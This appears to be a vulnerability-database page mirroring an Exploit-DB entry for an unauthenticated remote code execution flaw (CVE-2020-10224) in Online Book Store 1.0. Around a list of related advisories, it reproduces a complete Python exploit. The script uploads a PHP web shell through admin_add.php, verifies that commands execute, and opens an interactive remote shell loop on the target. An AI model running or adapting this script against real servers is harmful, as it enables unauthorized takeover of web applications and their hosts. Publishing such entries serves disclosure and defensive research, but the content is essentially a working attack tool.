Lucene search
+L

Online Book Store 1.0 - Unauthenticated Remote Code Execution (RCE)

🗓️ 08 Jan 2020 00:00:00Reported by Tib3riusType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 216 Views

Unauthenticated remote code execution vulnerability in Online Book Store version 1.0 allows shell upload.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2020-10224
8 Mar 202000:00
–attackerkb
cnvd
CNVD
PHPGurukul Online Book Store Unauthenticated File Upload Vulnerability
9 Mar 202000:00
–cnvd
cve
CVE
CVE-2020-10224
8 Mar 202022:11
–cve
cvelist
Cvelist
CVE-2020-10224
8 Mar 202022:11
–cvelist
nvd
NVD
CVE-2020-10224
8 Mar 202023:15
–nvd
osv_cve
osv_cve
CVE-2020-10224
8 Mar 202023:15
–osv_cve
prion
Prion
Unrestricted file upload
8 Mar 202023:15
–prion
ptsecurity
Positive Technologies
PT-2020-11982 · Phpgurukul · Phpgurukul Online Book Store
8 Mar 202000:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-10224: Unrestricted Upload of File with Dangerous Type
8 Mar 202000:00
–rapid7
redhatcve
RedhatCVE
CVE-2020-10224
9 Jan 202609:53
–redhatcve
# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-01-07
# Exploit Author: Tib3rius
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
# Version: 1.0
# Tested on: Ubuntu 16.04
# CVE: N/A

import argparse
import random
import requests
import string
import sys

parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()

url = args.url.rstrip('/')
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'

file = {'image': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
print('> Verifying shell upload...')
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)

if random_file in r.text:
    print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
    print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
    if launch_shell.lower() == 'y':
        while True:
            cmd = str(input('RCE $ '))
            if cmd == 'exit':
                sys.exit(0)
            r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
            print(r.text)
else:
    if r.status_code == 200:
        print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
    else:
        print('> Web shell failed to upload! The web server may not have write permissions.')

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.13166
216